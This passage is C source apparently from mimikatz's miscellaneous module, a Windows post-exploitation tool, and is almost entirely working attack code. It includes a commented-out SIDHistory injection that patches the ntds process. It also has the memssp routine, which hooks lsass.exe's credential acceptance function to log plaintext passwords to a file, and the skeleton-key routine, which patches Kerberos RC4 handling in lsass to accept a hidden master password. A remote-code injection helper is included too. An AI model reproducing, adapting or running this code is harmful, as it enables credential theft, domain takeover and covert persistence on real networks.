// {{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
// {{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
// {{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
// {{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
//};
//KULL_M_PATCH_MULTIPLE w2k8r2[] = {
// {{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
// {{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
// {{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
// {{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
// {{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
// {{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
// {{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
// {{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
//};
//
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
//{
// SERVICE_STATUS_PROCESS sNtds;
// HANDLE hProcess, hDs;
// KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
// DWORD i, err;
//
// KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
// KULL_M_MEMORY_SEARCH sSearch;
// BOOL littleSuccess = TRUE;
// PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
// PKULL_M_PATCH_MULTIPLE pOs = NULL;
// DWORD pOsSz = 0;
//
// if(argc > 1)
// {
// if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
// {
// pOs = w2k8r2;
// pOsSz = ARRAYSIZE(w2k8r2);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
// {
// pOs = w2k12;
// pOsSz = ARRAYSIZE(w2k12);
// }
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
// {
// pOs = w2k12r2;
// pOsSz = ARRAYSIZE(w2k12r2);
// }
// else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
// {
// pOs = wservprev;
// pOsSz = ARRAYSIZE(wservprev);
// }
//
// if(pOs && pOsSz)
// {
// if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
// {
// err = DsBindW(NULL, NULL, &hDs);
// if(err == ERROR_SUCCESS)
// {
// if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
// {
// if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
// {
// if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
// {
// if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
// {
// sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
// sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
//
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
// pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
// pOs[i].LocalBackup.address = NULL;
// pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
// pOs[i].AdressOfPatch.address = NULL;
// pOs[i].OldProtect = 0;
//
// sAddress.address = pOs[i].Search.Pattern;
// if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
// {
// if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
// {
// pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
// {
// PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
// LocalFree(pOs[i].LocalBackup.address);
// pOs[i].LocalBackup.address = NULL;
// }
// }
// }
// else
// {
// kprintf(L"Search %u : ", i);
// PRINT_ERROR_AUTO(L"kull_m_memory_search");
// }
// }
//
// if(littleSuccess)
// {
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
// {
// littleSuccess = FALSE;
//
// if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
// {
// sAddress.address = pOs[i].Patch.Pattern;
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// }
// else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
// }
// }
//
// if(littleSuccess)
// {
// kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
// for(i = 1; i < (DWORD) argc; i++)
// {
// kprintf(L" * %s\t", argv[i]);
// err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
// if(err == NO_ERROR)
// kprintf(L"OK\n");
// else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
// }
// }
//
// for(i = 0; i < pOsSz; i++)
// {
// if(pOs[i].LocalBackup.address)
// {
// if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// LocalFree(pOs[i].LocalBackup.address);
// }
// if(pOs[i].OldProtect)
// kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
// }
// }
// kull_m_memory_close(aProcess.hMemory);
// }
// CloseHandle(hProcess);
// }
// else PRINT_ERROR_AUTO(L"OpenProcess");
// }
// err = DsUnBindW(&hDs);
// }
// else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
// LsaFreeMemory(pDnsInfo);
// }
// } else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
// } else PRINT_ERROR(L"It requires at least 2 args\n");
// return STATUS_SUCCESS;
//}
//#endif
typedef NTSTATUS (NTAPI * PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
typedef FILE * (__cdecl * PFOPEN)(__in_z const char * _Filename, __in_z const char * _Mode);
typedef int (__cdecl * PFWPRINTF)(__inout FILE * _File, __in_z __format_string const wchar_t * _Format, ...);
typedef int (__cdecl * PFCLOSE)(__inout FILE * _File);
#pragma optimize("", off)
NTSTATUS NTAPI misc_msv1_0_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE * logfile;
DWORD filename[] = {0x696d696d, 0x2e61736c, 0x00676f6c},
append = 0x00000061,
format[] = {0x0025005b, 0x00380030, 0x003a0078, 0x00300025, 0x00780038, 0x0020005d, 0x00770025, 0x005c005a, 0x00770025, 0x0009005a, 0x00770025, 0x000a005a, 0x00000000};
if(logfile = ((PFOPEN) 0x4141414141414141)((PCHAR) filename, (PCHAR) &append))
{
((PFWPRINTF) 0x4242424242424242)(logfile, (PWCHAR) format, PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, &PrimaryCredentials->Password);
((PFCLOSE) 0x4343434343434343)(logfile);
}
return ((PSPACCEPTCREDENTIALS) 0x4444444444444444)(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}
DWORD misc_msv1_0_SpAcceptCredentials_end(){return 'mssp';}
#pragma optimize("", on)
#ifdef _M_X64
BYTE INSTR_JMP[]= {0xff, 0x25, 0x00, 0x00, 0x00, 0x00}; // need 14
BYTE PTRN_WIN5_MSV1_0[] = {0x49, 0x8b, 0xd0, 0x4d, 0x8b, 0xc1, 0xeb, 0x08, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x89, 0x4c, 0x24, 0x08}; // damn short jump!
BYTE PTRN_WI6X_MSV1_0[] = {0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48};
BYTE PTRN_WI81_MSV1_0[] = {0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48};
KULL_M_PATCH_GENERIC MSV1_0AcceptReferences[] = {
{KULL_M_WIN_MIN_BUILD_2K3, {sizeof(PTRN_WIN5_MSV1_0), PTRN_WIN5_MSV1_0}, {0, NULL}, { 0, sizeof(PTRN_WIN5_MSV1_0)}},
{KULL_M_WIN_MIN_BUILD_VISTA,{sizeof(PTRN_WI6X_MSV1_0), PTRN_WI6X_MSV1_0}, {0, NULL}, {-15, 15}},
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-17, 15}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-16, 15}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-17, 15}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-16, 15}},
};
#elif defined _M_IX86
BYTE INSTR_JMP[]= {0xe9}; // need 5
BYTE PTRN_WIN5_MSV1_0[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 0xff, 0x75, 0x08, 0xe8};
BYTE PTRN_WI6X_MSV1_0[] = {0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 0xff, 0x75, 0x08, 0xe8, 0x24, 0x00, 0x00, 0x00};
BYTE PTRN_WI80_MSV1_0[] = {0xff, 0x75, 0x08, 0x8b, 0x4d, 0x14, 0x8b, 0x55, 0x10, 0xe8};
BYTE PTRN_WI81_MSV1_0[] = {0xff, 0x75, 0x14, 0x8b, 0x55, 0x10, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_W10_1703_MSV1_0[] = {0x8b, 0x55, 0x10, 0x8b, 0x4d, 0x08, 0x56, 0xff, 0x75, 0x14, 0xe8};
KULL_M_PATCH_GENERIC MSV1_0AcceptReferences[] = {
{KULL_M_WIN_MIN_BUILD_XP, {sizeof(PTRN_WIN5_MSV1_0), PTRN_WIN5_MSV1_0}, {0, NULL}, { 0, 5}},
{KULL_M_WIN_MIN_BUILD_VISTA,{sizeof(PTRN_WI6X_MSV1_0), PTRN_WI6X_MSV1_0}, {0, NULL}, {-41, 5}},
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI80_MSV1_0), PTRN_WI80_MSV1_0}, {0, NULL}, {-43, 5}},
{KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-39, 5}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_W10_1703_MSV1_0), PTRN_W10_1703_MSV1_0}, {0, NULL}, {-28, 15}},
};
#endif
PCWCHAR szMsvCrt = L"msvcrt.dll";
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[])
{
HANDLE hProcess;
DWORD processId;
KULL_M_MEMORY_ADDRESS aLsass, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sSearch;
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iMSV;
PKULL_M_PATCH_GENERIC pGeneric;
REMOTE_EXT extensions[] = {
{szMsvCrt, "fopen", (PVOID) 0x4141414141414141, NULL},
{szMsvCrt, "fwprintf", (PVOID) 0x4242424242424242, NULL},
{szMsvCrt, "fclose", (PVOID) 0x4343434343434343, NULL},
{NULL, NULL, (PVOID) 0x4444444444444444, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
DWORD trampoSize;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"msv1_0.dll", &iMSV))
{
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iMSV.DllBase;
sSearch.kull_m_memoryRange.size = iMSV.SizeOfImage;
if(pGeneric = kull_m_patch_getGenericFromBuild(MSV1_0AcceptReferences, ARRAYSIZE(MSV1_0AcceptReferences), MIMIKATZ_NT_BUILD_NUMBER))
{
aLocal.address = pGeneric->Search.Pattern;
if(kull_m_memory_search(&aLocal, pGeneric->Search.Length, &sSearch, TRUE))
{
trampoSize = pGeneric->Offsets.off1 + sizeof(INSTR_JMP) + sizeof(PVOID);
if(aLocal.address = LocalAlloc(LPTR, trampoSize))
{
sSearch.result = (PBYTE) sSearch.result + pGeneric->Offsets.off0;
aLsass.address = sSearch.result;
if(kull_m_memory_copy(&aLocal, &aLsass, pGeneric->Offsets.off1))
{
RtlCopyMemory((PBYTE) aLocal.address + pGeneric->Offsets.off1, INSTR_JMP, sizeof(INSTR_JMP));
if(kull_m_memory_alloc(&aLsass, trampoSize, PAGE_EXECUTE_READWRITE))
{
#ifdef _M_X64
*(PVOID *)((PBYTE) aLocal.address + pGeneric->Offsets.off1 + sizeof(INSTR_JMP)) = (PBYTE) sSearch.result + pGeneric->Offsets.off1;
#elif defined _M_IX86
*(LONG *)((PBYTE) aLocal.address + pGeneric->Offsets.off1 + sizeof(INSTR_JMP)) = (PBYTE) sSearch.result - ((PBYTE) aLsass.address + sizeof(INSTR_JMP) + sizeof(LONG));
#endif
extensions[3].Pointer = aLsass.address;
if(kull_m_memory_copy(&aLsass, &aLocal, trampoSize))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &extForCb, &aLsass))
{
RtlCopyMemory((PBYTE) aLocal.address, INSTR_JMP, sizeof(INSTR_JMP));
#ifdef _M_X64
*(PVOID *)((PBYTE) aLocal.address + sizeof(INSTR_JMP)) = aLsass.address;
#elif defined _M_IX86
*(LONG *)((PBYTE) aLocal.address + sizeof(INSTR_JMP)) = (PBYTE) aLsass.address - ((PBYTE) sSearch.result + sizeof(INSTR_JMP) + sizeof(LONG));
#endif
aLsass.address = sSearch.result;
if(kull_m_memory_copy(&aLsass, &aLocal, pGeneric->Offsets.off1))
kprintf(L"Injected =)\n");
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - Trampoline n0");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace");
}
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - Trampoline n1");
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - real asm");
LocalFree(aLocal.address);
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_search");
}
}
kull_m_memory_close(aLsass.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
else PRINT_ERROR_AUTO(L"kull_m_process_getProcessIdForName");
return STATUS_SUCCESS;
}
typedef PVOID (__cdecl * PMEMCPY) (__out_bcount_full_opt(_MaxCount) void * _Dst, __in_bcount_opt(_MaxCount) const void * _Src, __in size_t _MaxCount);
typedef HLOCAL (WINAPI * PLOCALALLOC) (__in UINT uFlags, __in SIZE_T uBytes);
typedef HLOCAL (WINAPI * PLOCALFREE) (__deref HLOCAL hMem);
#pragma optimize("", off)
NTSTATUS WINAPI kuhl_misc_skeleton_rc4_init(LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext)
{
NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
PVOID origContext, kiwiContext;
DWORD kiwiKey[] = {0Xca4fba60, 0x7a6c46dc, 0x81173c03, 0xf63dc094};
if(*pContext = ((PLOCALALLOC) 0x4a4a4a4a4a4a4a4a)(0, 32 + sizeof(PVOID)))
{
status = ((PKERB_ECRYPT_INITIALIZE) 0x4343434343434343)(Key, KeySize, KeyUsage, &origContext);
if(NT_SUCCESS(status))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) *pContext + 0, origContext, 16);
status = ((PKERB_ECRYPT_INITIALIZE) 0x4343434343434343)(kiwiKey, 16, KeyUsage, &kiwiContext);
if(NT_SUCCESS(status))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) *pContext + 16, kiwiContext, 16);
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(kiwiContext);
}
*(LPCVOID *) ((PBYTE) *pContext + 32) = Key;
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(origContext);
}
if(!NT_SUCCESS(status))
{
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(*pContext);
*pContext = NULL;
}
}
return status;
}
NTSTATUS WINAPI kuhl_misc_skeleton_rc4_init_decrypt(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize)
{
NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
DWORD origOutputSize = *OutputSize, kiwiKey[] = {0Xca4fba60, 0x7a6c46dc, 0x81173c03, 0xf63dc094};
PVOID buffer;
if(buffer = ((PLOCALALLOC) 0x4a4a4a4a4a4a4a4a)(0, DataSize))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)(buffer, Data, DataSize);
status = ((PKERB_ECRYPT_DECRYPT) 0x4444444444444444)(pContext, buffer, DataSize, Output, OutputSize);
if(!NT_SUCCESS(status))
{
*OutputSize = origOutputSize;
status = ((PKERB_ECRYPT_DECRYPT) 0x4444444444444444)((PBYTE) pContext + 16, buffer, DataSize, Output, OutputSize);
if(NT_SUCCESS(status))
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)(*(PVOID *) ((PBYTE) pContext + 32), kiwiKey, 16);
}
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(buffer);
}
return status;
}
DWORD kuhl_misc_skeleton_rc4_end(){return 'skel';}
#pragma optimize("", on)
wchar_t newerKey[] = L"Kerberos-Newer-Keys";
NTSTATUS kuhl_m_misc_skeleton(int argc, wchar_t * argv[])
{
BOOL success = FALSE;
PKERB_ECRYPT pCrypt;
DWORD processId;
HANDLE hProcess;
PBYTE localAddr, ptrValue = NULL;
KULL_M_MEMORY_ADDRESS aLsass, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION cryptInfos;
KULL_M_MEMORY_SEARCH sMemory;
LSA_UNICODE_STRING orig;
REMOTE_EXT extensions[] = {
{L"kernel32.dll", "LocalAlloc", (PVOID) 0x4a4a4a4a4a4a4a4a, NULL},
{L"kernel32.dll", "LocalFree", (PVOID) 0x4b4b4b4b4b4b4b4b, NULL},
{L"ntdll.dll", "memcpy", (PVOID) 0x4c4c4c4c4c4c4c4c, NULL},
{NULL, NULL, (PVOID) 0x4343434343434343, NULL}, // Initialize
{NULL, NULL, (PVOID) 0x4444444444444444, NULL}, // Decrypt
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
BOOL onlyRC4Stuff = (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_VISTA) || kull_m_string_args_byName(argc, argv, L"letaes", NULL, NULL);
RtlZeroMemory(&orig, sizeof(orig));
RtlInitUnicodeString(&orig, newerKey);
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{
if(!onlyRC4Stuff)
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"kdcsvc.dll", &cryptInfos))
{
aLocal.address = newerKey;
sMemory.kull_m_memoryRange.kull_m_memoryAdress = cryptInfos.DllBase;
sMemory.kull_m_memoryRange.size = cryptInfos.SizeOfImage;
if(kull_m_memory_search(&aLocal, sizeof(newerKey), &sMemory, TRUE))
{
kprintf(L"[KDC] data\n");
aLocal.address = &orig;
orig.Buffer = (PWSTR) sMemory.result;
if(kull_m_memory_search(&aLocal, sizeof(orig), &sMemory, TRUE))
{
kprintf(L"[KDC] struct\n", sMemory.result);
RtlZeroMemory(&orig, sizeof(orig));
aLsass.address = sMemory.result;
if(success = kull_m_memory_copy(&aLsass, &aLocal, sizeof(orig)))
kprintf(L"[KDC] keys patch OK\n");
}
else PRINT_ERROR(L"Second pattern not found\n");
}
else PRINT_ERROR(L"First pattern not found\n");
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
}
if(success || onlyRC4Stuff)
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"cryptdll.dll", &cryptInfos))
{
localAddr = (PBYTE) GetModuleHandle(L"cryptdll.dll");
if(NT_SUCCESS(CDLocateCSystem(KERB_ETYPE_RC4_HMAC_NT, &pCrypt)))
{
extensions[3].Pointer = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt->Initialize - localAddr);
extensions[4].Pointer = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt->Decrypt - localAddr);
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, kuhl_misc_skeleton_rc4_init, (DWORD) ((PBYTE) kuhl_misc_skeleton_rc4_end - (PBYTE) kuhl_misc_skeleton_rc4_init), &extForCb, &aLsass))
{
kprintf(L"[RC4] functions\n");
ptrValue = (PBYTE) aLsass.address;
aLocal.address = &ptrValue;
aLsass.address = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt - localAddr) + FIELD_OFFSET(KERB_ECRYPT, Initialize);
if(kull_m_memory_copy(&aLsass, &aLocal, sizeof(PVOID)))
{
kprintf(L"[RC4] init patch OK\n");
ptrValue += (PBYTE) kuhl_misc_skeleton_rc4_init_decrypt - (PBYTE) kuhl_misc_skeleton_rc4_init;
aLsass.address = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt - localAddr) + FIELD_OFFSET(KERB_ECRYPT, Decrypt);
if(kull_m_memory_copy(&aLsass, &aLocal, sizeof(PVOID)))
kprintf(L"[RC4] decrypt patch OK\n");
}
}
else PRINT_ERROR(L"Unable to create remote functions\n");
}
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
}
kull_m_memory_close(aLsass.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
return STATUS_SUCCESS;
}
#define MIMIKATZ_COMPRESSED_FILENAME MIMIKATZ L"_" MIMIKATZ_ARCH L".compressed"
NTSTATUS kuhl_m_misc_compressme(int argc, wchar_t * argv[])
{
PBYTE data, compressedData;
DWORD size, compressedSize;
#pragma warning(push)
#pragma warning(disable:4996)
wchar_t *fileName = _wpgmptr;
#pragma warning(pop)
kprintf(L"Using \'%s\' as input file\n", fileName);
if(kull_m_file_readData(fileName, &data, &size))
{
kprintf(L" * Original size : %u\n", size);
if(kull_m_memory_quick_compress(data, size, (PVOID *) &compressedData, &compressedSize))
{
kprintf(L" * Compressed size: %u (%.2f%%)\nUsing \'%s\' as output file... ", compressedSize, 100 * ((float) compressedSize / (float) size), MIMIKATZ_COMPRESSED_FILENAME);
if(kull_m_file_writeData(MIMIKATZ_COMPRESSED_FILENAME, compressedData, compressedSize))
kprintf(L"OK!\n");
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(compressedData);
}
LocalFree(data);
}
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_wp(int argc, wchar_t * argv[])
{
KIWI_WP_DATA data;
PCWCHAR process;
if(kull_m_string_args_byName(argc, argv, L"file", &data.wp, NULL))
{
kull_m_string_args_byName(argc, argv, L"process", &process, L"explorer.exe");
RtlInitUnicodeString(&data.process, process);
kprintf(L"Wallpaper file: %s\n", data.wp);
kprintf(L"Proxy process : %wZ\n", &data.process);
kull_m_process_getProcessInformation(kuhl_m_misc_wp_callback, &data);
}
else PRINT_ERROR(L"file argument is needed\n");
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_misc_wp_callback(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
DWORD pid;
if(RtlEqualUnicodeString(&pSystemProcessInformation->ImageName, &((PKIWI_WP_DATA) pvArg)->process, TRUE))
{
pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
kprintf(L"> Found %wZ with PID %u : ", &pSystemProcessInformation->ImageName, pid);
kuhl_m_misc_wp_for_pid(pid, ((PKIWI_WP_DATA) pvArg)->wp);
}
return TRUE;
}
#pragma optimize("", off)
DWORD WINAPI kuhl_m_misc_wp_thread(PREMOTE_LIB_DATA lpParameter)
{
lpParameter->output.outputStatus = STATUS_SUCCESS;
if(!((PSYSTEMPARAMETERSINFOW) 0x4141414141414141)(SPI_SETDESKWALLPAPER, 0, lpParameter->input.inputData, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE))
lpParameter->output.outputStatus = ((PGETLASTERROR) 0x4242424242424242)();
return STATUS_SUCCESS;
}
DWORD kuhl_m_misc_wp_thread_end(){return 'stwp';}
#pragma optimize("", on)
void kuhl_m_misc_wp_for_pid(DWORD pid, PCWCHAR wp)
{
REMOTE_EXT extensions[] = {
{L"user32.dll", "SystemParametersInfoW", (PVOID) 0x4141414141414141, NULL},
{L"kernel32.dll", "GetLastError", (PVOID) 0x4242424242424242, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemory = NULL;
KULL_M_MEMORY_ADDRESS aRemoteFunc;
PREMOTE_LIB_INPUT_DATA iData;
REMOTE_LIB_OUTPUT_DATA oData;
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_m_misc_wp_thread, (DWORD) ((PBYTE) kuhl_m_misc_wp_thread_end - (PBYTE) kuhl_m_misc_wp_thread), &extForCb, &aRemoteFunc))
{
if(iData = kull_m_remotelib_CreateInput(NULL, 0, (lstrlenW(wp) + 1) * sizeof(wchar_t), wp))
{
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
{
if(oData.outputStatus)
kprintf(L"error %u\n", oData.outputStatus);
else
kprintf(L"OK!\n");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_create");
LocalFree(iData);
}
kull_m_memory_free(&aRemoteFunc);
}
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
kull_m_memory_close(hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
NTSTATUS kuhl_m_misc_mflt(int argc, wchar_t * argv[])
{
PFILTER_AGGREGATE_BASIC_INFORMATION info, info2;
DWORD szNeeded;// = 0;
HANDLE hDevice;
HRESULT res;
res = FilterFindFirst(FilterAggregateBasicInformation, NULL, 0, &szNeeded, &hDevice);
if(res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
{
